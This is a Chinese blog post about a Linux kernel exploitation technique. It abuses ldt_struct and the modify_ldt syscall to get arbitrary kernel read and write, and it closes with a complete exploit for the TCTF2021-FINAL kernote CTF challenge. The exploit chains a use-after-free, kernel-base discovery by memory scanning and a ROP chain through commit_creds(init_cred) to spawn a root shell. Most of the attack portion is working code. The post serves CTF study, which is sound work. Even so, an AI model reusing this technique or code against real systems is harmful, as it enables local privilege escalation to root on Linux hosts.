首页 > 其他分享 >利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

时间:2022-10-03 23:34:16浏览次数:35  
标签:kernel struct int ldt modify unsigned entries

利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

ldt_struct与modify_ldt系统调用的介绍

ldt_struct

​ldt​​​是​​局部段描述符表​​​,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和​​ldt​​​有关的结构体是​​ldt_struct​​。

struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;

/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

这个结构体的大小仅有​​0x10​​​,前​​8​​​字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前​​8​​​字节的​​entries​​​指针指向​​desc_struct​​结构体,即段描述符,定义如下:

/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt系统调用

​modify_ldt​​​这个系统调用,是提供给我们用来获取或修改当前进程的​​LDT​​​用的。我们看调用​​modify_ldt​​的几个用法,源码如下:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

我们除了系统调用号外传入的三个参数是​​func,ptr,bytecount​​​,其中​​ptr​​​指针指向的是​​user_desc​​结构体。这个结构体如下:

struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};

任意地址读

利用的函数是​​ldt_read​​,其关键源码如下:

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制​​entries​​,那么我们就可以实现任意地址读。

如何控制​​entries​​​?我们看​​write_ldt​​​的源码可以看到调用​​alloc_ldt_struct​​​为新的​​ldt_struct​​开辟了空间。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
//...
return error;
}

再看​​alloc_ldt_struct​​​的源码,调用了​​kamlloc​​去分配新空间。

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

我们就可以想到通过​​UAF​​​去控制​​ldt_struct​​​,修改​​entries​​即可读取想要的数据。

任意地址写

利用的函数是​​write_ldt​​,其关键源码如下:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

//...
}

我们可以看到拷贝是​​memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE)​​​,我们再看一下​​LDT_ENTRY_SIZE​​的定义

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES 8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8

可以看出拷贝的量非常大。并且在拷贝结束之后有​​new_ldt->entries[ldt_info.entry_number] = ldt;​​​这样一行代码。那我们就可以通过条件竞争的方式去改变​​new_ldt->entries​​,从而实现任意地址写。

例题:TCTF2021-FINAL-kernote

exp

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>


int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode;

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void set(int index)
{
ioctl(fd, 0x6666, index);
}

void add(int index)
{
ioctl(fd, 0x6667, index);
}

void delete(int index)
{
ioctl(fd, 0x6668, index);
}

void edit(size_t data)
{
ioctl(fd, 0x6669, data);
}

int main()
{
struct user_desc desc;
int pipe_fd[2] = {0};
size_t temp;
size_t *buf;
size_t search_addr;

printf("\033[34m\033[1m[*] Start exploit\033[0m\n");

fd = open("/dev/kernote", O_RDWR);
if(fd<0)
ErrExit("[-] open kernote error");
/*
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
*/

desc.entry_number = 0x8000 / 8;
desc.base_addr = 0xff0000;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0;

add(0);
set(0);
delete(0);

syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
edit(page_offset_base);
ret = syscall(SYS_modify_ldt, 0, &temp, 8);
if(ret >= 0)
break;
page_offset_base+= 0x4000000;
}
printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base);

pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
while(1)
{
edit(search_addr);
ret = fork();
if(!ret)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for(int i=0; i<0x1000; i++)
if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
{
kernel_base = buf[i] - 0x40;
kernel_offset = kernel_base - 0xffffffff81000000;
}

write(pipe_fd[1], &kernel_base, 8);
exit(0);
}

wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if(kernel_base)
break;
search_addr+= 0x8000;
}

kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset);

add(1);
set(1);
delete(1);

seq_fd = open("/proc/self/stat", O_RDONLY);
if(seq_fd<0)
ErrExit("[-] open seq error");

edit(0xffffffff817c21a6 + kernel_offset);

init_cred = 0xffffffff8266b780 + kernel_offset;
prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
commit_creds = 0xffffffff810c9dd0 + kernel_offset;
pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset;

__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;" // start at there
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

system("/bin/sh");
return 0;
}

作者:{狒猩橙},转载请注明原文链接​

标签:kernel,struct,int,ldt,modify,unsigned,entries
From: https://blog.51cto.com/u_15786923/5730623

相关文章